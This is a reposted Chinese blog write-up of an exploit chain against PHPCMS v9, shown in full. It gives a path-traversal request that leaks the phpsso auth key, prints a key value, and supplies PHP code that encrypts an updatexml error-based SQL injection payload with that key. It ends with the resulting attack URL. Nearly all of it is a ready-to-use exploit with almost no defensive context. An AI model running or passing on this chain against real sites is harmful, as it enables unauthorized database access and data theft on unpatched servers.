首页 > 数据库技术 > 详细

phpcmsv9 authkey泄露导致SQL注入漏洞

时间:2017-03-06 01:05:18      阅读:1157      评论:0      收藏:0      [点我收藏+]

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

http://www.xxoo.com//api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

技术分享

 

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

使用authkey加密payload:

<?php
/**
* Created by 独自等待
* Date: 2015/7/17
* Time: 21:08
* Name: phpcmsv9_authkey.php
* 独自等待博客:http://www.waitalone.cn/
*/

function sys_auth($string, $operation = ‘ENCODE‘, $key = ‘‘, $expiry = 0)
{
$key_length = 4;
$key = md5($key != ‘‘ ? $key : pc_base::load_config(‘system‘, ‘auth_key‘));
$fixedkey = md5($key);
$egiskeys = md5(substr($fixedkey, 16, 16));
$runtokey = $key_length ? ($operation == ‘ENCODE‘ ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ‘‘;
$keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
echo $keys . "\n";
$string = $operation == ‘ENCODE‘ ? sprintf(‘%010d‘, $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
$i = 0;
$result = ‘‘;
$string_length = strlen($string);
for ($i = 0; $i < $string_length; $i++) {
$result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
}
if ($operation == ‘ENCODE‘) {
return $runtokey . str_replace(‘=‘, ‘‘, base64_encode($result));
} else {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
return substr($result, 26);
} else {
return ‘‘;
}
}
}
echo sys_auth("action=synlogin&uid=1‘ and updatexml(1,concat(‘~‘,user()),1)#", ‘ENCODE‘, ‘0tagvqnxuq1x8x4jvaziib7yx4e9ibnl‘);

 

http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

 

技术分享

 

phpcmsv9 authkey泄露导致SQL注入漏洞

原文:http://www.cnblogs.com/websec80/p/6507525.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!